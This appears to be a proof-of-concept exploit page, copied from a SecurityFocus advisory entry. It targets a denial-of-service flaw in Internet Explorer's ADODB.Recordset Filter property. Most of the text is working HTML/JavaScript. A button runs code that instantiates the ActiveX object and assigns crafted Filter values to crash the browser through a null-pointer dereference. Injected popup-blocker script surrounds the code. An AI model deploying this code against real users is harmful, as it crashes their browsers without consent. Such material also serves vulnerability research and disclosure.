source: https://www.securityfocus.com/bid/18773/info Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'ADODB.Recordset Filter Property' COM object. A successful attack may cause the browser to fail due to a null-pointer dereference. # Microsoft Internet Explorer ADODB.Recordset Filter Property poc <script language="JavaScript"> <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; //--> </script> <script> // MoBB Demonstration function Demo() { a = new ActiveXObject('ADODB.Recordset'); try { a.Filter = "AAAA" } catch(e) { } try { a.Filter = "BBBB" } catch(e) { } try { a.Filter = 0x7ffffffe; } catch(e) { } } </script> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='Demo()' value='Start Demo!'> </body></html> <script language="JavaScript"> <!-- var SymRealOnLoad; var SymRealOnUnload; function SymOnUnload() { window.open = SymWinOpen; if(SymRealOnUnload != null) SymRealOnUnload(); } function SymOnLoad() { if(SymRealOnLoad != null) SymRealOnLoad(); window.open = SymRealWinOpen; SymRealOnUnload = window.onunload; window.onunload = SymOnUnload; } SymRealOnLoad = window.onload; window.onload = SymOnLoad; //--> </script>